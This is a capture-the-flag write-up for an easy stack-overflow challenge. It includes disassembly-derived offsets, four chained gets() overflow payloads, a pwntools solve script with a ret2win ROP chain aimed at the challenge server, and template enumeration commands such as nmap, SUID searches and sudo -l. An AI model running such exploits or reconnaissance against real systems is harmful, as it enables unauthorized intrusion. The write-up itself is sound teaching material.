Proper Pwning
Proper Pwning
Platform: Broncoctf2026 | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-11 | Status: Solved Techniques: adjacent_local_overwrite, chained_payloads, magic_value_overwrite, ret2win, stack_alignment_ret_gadget
Summary
Task: tutorial pwn with 4 stages, each reading via unbounded gets() into a stack buffer guarded by volatile sentinels. Solution: overwrite adjacent local sentinels to pass gates 1-3 (preserving a second sentinel at exactly 41), then classic ret2win in the treasure room using disassembly-derived physical offsets rather than source declaration order.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
broncoctf2026| ID:20260711_broncoctf2026_proper_pwning - Tags: stack_overflow, gets, adjacent_variable_overwrite, ret2win, no_pie, no_canary
- Indicators: gets() into stack buffer, volatile int gate sentinel, no stack canary, no PIE (base 0x400000), win() calls system(/bin/cat flag.txt)
- Source:
20260711_broncoctf2026_proper_pwning.md
Foothold
Vulnerability / Misconfiguration
- Adjacent_local_overwrite
- Chained_payloads
- Magic_value_overwrite
- Ret2win
- Stack_alignment_ret_gadget
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- adjacent_local_overwrite
- chained_payloads
- magic_value_overwrite
- ret2win
- stack_alignment_ret_gadget
- Tags: stack_overflow, gets, adjacent_variable_overwrite, ret2win, no_pie, no_canary
Original Writeup
<details><summary>Click to expand original content</summary>Description
Have you read the Pwntorial? Ready to graduate from baby pwns? This should do it. Three gates and a treasure room await your input.
A tutorial-style stack overflow chain. main() calls four functions in sequence:
gate1 -> gate2 -> gate3 -> treasure_room. Each reads input with unbounded
gets() into a stack buffer, and each gate checks one or two "sentinel" local
variables that we must corrupt to specific values. The final treasure_room is
a straightforward ret2win.
Remote: nc 0.cloud.chals.io 21543
Binary properties
ELF 64-bit x86-64, dynamically linked, not stripped
No PIE (base 0x400000)
No stack canary
Executable stack (-z execstack), NX off, RWX segments
Partial RELRO
Ubuntu 22.04, glibc 2.34
gcc proper.c -o proper -fno-stack-protector -z execstack -no-pie
win() at 0x40123b prints a message, runs system("/bin/cat flag.txt"), then
exit(0). No PIE and no canary make this pure offset arithmetic.
Key insight
The source declaration order of locals is not the physical stack layout. GCC
reorders locals, so the offset from the buffer to each sentinel must be read from
the disassembly (objdump -d / gdb), not guessed from the C source. Every
gate offset below was derived from the actual rbp-0x... references.
Analysis — gate by gate
gate1 — flip a single gate sentinel
int buffer[64]; volatile int gate = CLOSED; // 0 gets(buffer); // require gate != 0
Disassembly: buffer at rbp-0x110, gate at rbp-0x4.
Offset to gate = 0x110 - 0x4 = 0x10c = 268.
Payload: b"A"*268 + p32(1)
gate2 — flip gate while keeping a second sentinel ALIVE
long buffer[64]; volatile int gate = CLOSED; // 0 volatile int baby_chicken = ALIVE; // 41 gets(buffer); // require baby_chicken == 41 AND gate != 0
Disassembly: buffer at rbp-0x210, baby_chicken at rbp-0x8 (offset 520),
gate at rbp-0x4 (offset 524). The overflow marches through baby_chicken, so
we must rewrite it with exactly 41 to keep it ALIVE, then set gate.
Payload: b"B"*520 + p32(41) + p32(1)
gate3 — magic-value overwrite
char buffer[67]; volatile int gate = CLOSED; // 0 gets(buffer); // require gate == 13371337 (0x00cc07c9) // on success prints win() address
Disassembly: buffer at rbp-0x50, gate at rbp-0x4. Offset = 0x50 - 0x4 = 0x4c = 76.
13371337 = 0x00cc07c9. The little-endian bytes are c9 07 cc 00 — the trailing
NUL byte is fine because gets() only stops on a newline, not on NUL.
Payload: b"C"*76 + p32(13371337)
treasure_room — classic ret2win
char buffer[6767]; gets(buffer);
Disassembly: buffer at rbp-0x1a70, saved RIP at rbp+8.
Offset to saved RIP = 0x1a70 + 8 = 0x1a78 = 6776.
We overwrite the saved return address with win. Because glibc 2.34 uses
movaps (which faults on a misaligned stack), we prepend a bare ret gadget
(0x40123a) to realign the stack to 16 bytes before entering win. On this
image a direct win also worked, but the aligned chain is the robust,
ABI-correct approach.
Payload: b"D"*6776 + p64(0x40123a) + p64(0x40123b)
# ret gadget win
Solution
Send the four payloads sequentially with sendline (each gets() consumes one
newline-terminated line), then read the flag.
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF("./proper", checksec=False)
context.arch = "amd64"
HOST = args.HOST or "0.cloud.chals.io"
PORT = int(args.PORT or 21543)
WIN = elf.sym.win # 0x40123b
RET = 0x40123a # ret gadget for 16-byte stack alignment
io = remote(HOST, PORT)
gate1 = b"A"*268 + p32(1)
gate2 = b"B"*520 + p32(41) + p32(1)
gate3 = b"C"*76 + p32(13371337)
treasure = b"D"*6776 + p64(RET) + p64(WIN)
for payload in (gate1, gate2, gate3, treasure):
io.sendline(payload)
print(io.recvall(timeout=5).decode(errors="replace"))
Per-stage payload summary:
| Stage | Buffer offset | Sentinel(s) written | Payload |
|---|---|---|---|
| gate1 | 268 | gate = 1 | A*268 + p32(1) |
| gate2 | 520 / 524 | baby_chicken = 41, gate = 1 | B*520 + p32(41) + p32(1) |
| gate3 | 76 | gate = 0x00cc07c9 | C*76 + p32(13371337) |
| treasure | 6776 | saved RIP = win (via ret) | D*6776 + p64(RET) + p64(WIN) |
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR